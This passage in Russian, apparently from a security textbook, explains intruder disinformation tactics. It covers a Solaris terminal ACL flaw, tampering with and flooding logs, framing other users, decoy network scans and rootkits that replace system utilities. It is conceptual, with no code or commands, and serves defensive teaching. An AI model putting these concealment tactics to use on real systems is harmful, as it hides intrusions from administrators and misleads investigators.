Например, в системе Sun Solaris была обнаружена уязвимость, предоставляющая злоумышленнику дополнительные возможности для распространения дезинформации. Речь идет об обработке списков контроля доступа ACL (access control list) на псевдотерминалах, подсоединенных к системе. После получения доступа к терминалу злоумышленник может установить элемент списка контроля доступа и завершить работу. Во время обращения другого пользователя к системе с того же самого терминала предыдущий владелец терминала (в данном случае злоумышленник) сохраняет за собой право записи на терминал, что позволит ему записать дезинформацию на терминал нового владельца.

В следующих разделах рассмотрены некоторые из применяемых на практике способов дезинформации и соответствующего инструментария.

Редактирование журналов регистрации

Редактирование журналов регистрации – один из способов распространения дезинформации злоумышленником. Замечено, что когда действия злоумышленника становятся опасными для системы, у него появляется желание как можно дольше оставаться незамеченным. Для него будет даже лучше, если он сможет еще кого-нибудь увлечь в атаку или наделать достаточно шума, для того чтобы на этом фоне скрыть свое вторжение.

При рассмотрении отказа от обслуживания поступившего запроса уже говорилось о генерации событий для записи их в журнал регистрации. Злоумышленник может попытаться переполнить журналы регистрации, но хорошо разработанная система предусматривает средства циклического заполнения журналов регистрации и обладает достаточными возможностями для предотвращения их переполнения. Зная это и пытаясь скрыть свою деятельность, злоумышленник может найти выход в генерации большого количества событий. При соответствующих обстоятельствах злоумышленник сможет создать большой поток событий, регистрируемых в журнале событий, а причина одного или нескольких из генерируемых злоумышленником событий будет выглядеть вполне законной.

Если злоумышленник получает доступ к системе с правами администратора, то любые предположения о целостности журналов регистрации несостоятельны. Обладая правами администратора, злоумышленник может так отредактировать журналы регистрации, что будут удалены любые события, свидетельствующие о нападении, а содержимое журналов будет изменено таким образом, что можно будет заподозрить в нападении другого пользователя. Если это произошло, то только внешние программы, предназначенные для регистрации системных данных скомпрометированных компьютеров, или системы обнаружения вторжения в сеть могут предоставить полезную информацию.

Некоторые инструментальные средства предусматривают возможность генерации случайных данных или случайного потока информации, который называется шумом. Обычно они используются злоумышленником для того, чтобы отвлечь внимание или запутать суть дела. Генерируемый инструментальными средствами шум может использоваться для обмана администратора, отвлечения его внимания от атаки или внушения ему мысли о том, что на систему начал атаку кто угодно, но только не этот человек.

Редактирующий журналы регистрации злоумышленник преследует ряд целей. Одна из них заключается в создании видимости нормальной работы системы, как будто ничего не произошло. Другая – в создании обстановки полной неразберихи, когда противоречивые записи в журнале регистрации подталкивают администратора к мысли о выходе системы из-под контроля или, как было сказано ранее, наличия шума в системе. Некоторые средства, например типа Nmap, исследуя сеть, представляют дело таким образом, как если бы запросы на сканирование пришли из разных источников, создавая обстановку неразберихи и пряча злоумышленника за ложными целями.

Программы типа rootkit

К средствам дезинформации можно отнести программы rootkit, предназначенные для скрытия деятельности злоумышленника в системе. Известно несколько вариантов этих программ с собственными возможностями и недостатками. Программа rootkit – первое, что выбирает злоумышленник для обеспечения длительного доступа к системе.

Rootkit работает, подменяя в UNIX-системах ключевые системные программы типа ls, df, du, ps, sshd и netstat, а в Windows – драйверы и записи системного реестра. Rootkit заменяет эти программы, а возможно, и еще какие-нибудь, на другие, которые настроены таким образом, чтобы не предоставлять администраторам достоверной информации о работе системы. Вне всякого сомнения, программы типа rootkit используются для скрытия злоумышленника и его деятельности в системе и предназначены для дезинформации. Они подталкивают администратора к мысли о нормальной работе системы в то время, когда злоумышленник контролирует ее, атакует новые хосты или занимается другими нехорошими делами.